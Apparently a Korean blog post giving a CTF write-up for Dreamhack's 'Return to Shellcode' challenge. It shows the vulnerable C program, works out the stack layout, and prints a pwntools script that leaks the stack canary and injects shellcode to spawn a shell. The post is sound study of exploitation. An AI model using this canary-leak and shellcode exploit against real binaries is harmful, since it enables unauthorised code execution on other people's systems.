๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]SystemHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level1: Return to Shellcode

by Yun2๐Ÿ‘ 2023. 8. 30.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

Exploit Tech: Return to Shellcode์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

 

 

๐Ÿ‘พ Exploit Algorithm & Payload

๋”๋ณด๊ธฐ
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100); // 0x50 < 0x100
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf); //unsafe function

  return 0;
}

 

 

#1


: 64bit ๋ฆฌํ‹€ ์—”๋””์•ˆ ๊ตฌ์„ฑ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

: ๋ฐฉ์–ด๊ธฐ๋ฒ•์„ ํ™•์ธํ•œ ๊ฒฐ๊ณผ ์นด๋‚˜๋ฆฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

(์นด๋‚˜๋ฆฌ: ํ•จ์ˆ˜ ์‹œ์ž‘ ์‹œ ์Šคํƒ ๋ฒ„ํผ์™€ return address ์‚ฌ์ด์— ๋žœ๋ค ๊ฐ’์„ ์‚ฝ์ž…ํ•œ ํ›„ ํ•จ์ˆ˜ ์ข…๋ฃŒ ์‹œ ํ•ด๋‹น ๋žœ๋ค ๊ฐ’์˜ ๋ณ€์กฐ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ ์˜ค์—ผ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•)

 

 

#2


: r2s ์‹คํ–‰ํ•˜๋ฉด "Address of the buf: " ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค. (0x7ffc095d15a0)

: buf์™€ rbp๊ฐ„์˜ ๊ฐ„๊ฒฉ์ด 96byte๋ผ๊ณ  ๋˜์–ด์žˆ์œผ๋‚˜ ํ˜„์žฌ read๋กœ 0x100(16^2= 256byte)๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›๊ณ  ์žˆ์Œ

: gdb๋ฅผ ์ด์šฉํ•˜์—ฌ dissass main์œผ๋กœ "mov    rax,QWORD PTR fs:0x28" ์œ„์น˜์— ๋ธ”๋Ÿญ์ง€์ •ํ•˜์—ฌ ni๋กœ rax์— ๋‹ด๊ธด ์นด๋‚˜๋ฆฌ ์ฃผ์†Œ ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (0x9cf9cf8cc68e8700)

84-64bit
: buffer[0x50] -> 80byte
: SFP -> 8byte
: RET -> 8byte
: cannary -> \x00 + 7byte -> 8byte
: buffer์™€ rbp(์Šคํƒ์˜ ์‹œ์ž‘์ )์˜ ๊ฐ„๊ฒฉ -> 96byte
dummy = buffer - (96byte - 24byte(canary+sfp+ret)) = 80 - 72 = 8byte

: ์ด๊ฒƒ์œผ๋กœ 64bit์—์„œ๋Š” Buffer[80byte] + dummy[8byte] + (\x00+canary)[8byte] + SFP[8byte] + RET[8byte] ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. (์Šคํƒ ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐ„ 112byte)

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


$ python3 exploit > ./FLAG_DATA.txt

๋”๋ณด๊ธฐ

#Name: exploit.py
from pwn import *

def slog(n, m):
return success(': '.join([n, hex(m)]))

context.arch = 'amd64'
r = remote("host3.dreamhack.games", 22925)
e = ELF("./r2s")

#Buffer Address
r.recvuntil(b'buf: ')
#๋ฐ์ดํ„ฐ ๋ผ์ธ์„ ์ˆ˜์‹ ํ•˜๊ณ  ๋์—์„œ ๊ฐœํ–‰ ๋ฌธ์ž๋ฅผ ์ œ๊ฑฐํ•œ ๋‹ค์Œ ๊ฒฐ๊ณผ ๋ฌธ์ž์—ด์„ 16์ง„์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ •์ˆ˜๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ
buf = int(r.recvline()[:-1],16)
slog('Buffer address: ', buf)

#SFP, canary
r.recvuntil(b'$rbp: ')
buf2sfp = int(r.recvline().split()[0])
buf2canary = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2canary)

#Canary Value
#Buffer[80byte] + dummy[8byte] + (\x00+cannary)[8byte] + SFP[8byte] + RET[8byte] 
#0x50 + 0x8 + 0x1๊นŒ์ง€ ๊ฐ€๋ฉด canary ๋ฒ”์œ„ ์นจ๋ฒ” (0x59)
payload = b'a'*(buf2canary + 1) #(+1) because of the first null-byte
r.sendafter(b'Input:' ,payload)
r.recvuntil(payload)
canary = u64(b'\x00'+r.recvn(7))
slog('Canary: ', canary)

#Exploit Code(BOF;Buffer OverFlow)
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2canary, b'a') + p64(canary) + b'b'*0x8 + p64(buf)


r.sendlineafter(b'Input: ', payload)
r.interactive()

: ์นด๋‚˜๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ์นด๋‚˜๋ฆฌ ๋ฆญ์„ ์ด์šฉํ•˜์—ฌ ์šฐํšŒํ•˜๊ณ , pwn์˜ shellscraft๋ฅผ ์ด์šฉํ•˜์—ฌ FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

(์นด๋‚˜๋ฆฌ๋ฆญ: ์Šคํƒ ์นด๋‚˜๋ฆฌ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์žˆ์œผ๋ฉด, ์ด๋ฅผ ์ด์š”ํ•ด ์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•)

 

 

 

๐Ÿ“Œ Summary


BOF๋Š” ๋ฒ„ํผ๊ฐ€ ๋„˜์น  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ํŠนํžˆ ์ฃผ์˜ํ•ด์•ผํ•œ๋‹ค.

 

| BOF์— ์ทจ์•ฝํ•œ ํ•จ์ˆ˜ |

: ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฌธ์ž์—ด์˜ ์ตœ๋Œ€ ํฌ๊ธฐ๋ฅผ ์ •ํ•˜์ง€ ์•Š๋Š” ํ•จ์ˆ˜

  • strcpy
  • strcat
  • gets
  • fscanf
  • scanf
  • sprintf
  • sscanf
  • vfscanf
  • vsprintf
  • vscanf
  • vsscanf
  • streadd
  • strecpy
  • strtrns
๋ฐ˜์‘ํ˜•

'[Dreamhack]SystemHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: basic_exploitation_001  (0) 2023.08.28
[Dreamhack] Level2: basic_exploitation_000  (0) 2023.08.25
[Dreamhack] Level2: shell_basic  (0) 2023.08.22
[Dreamhack] Level1: Return Address Overwrite  (0) 2023.08.18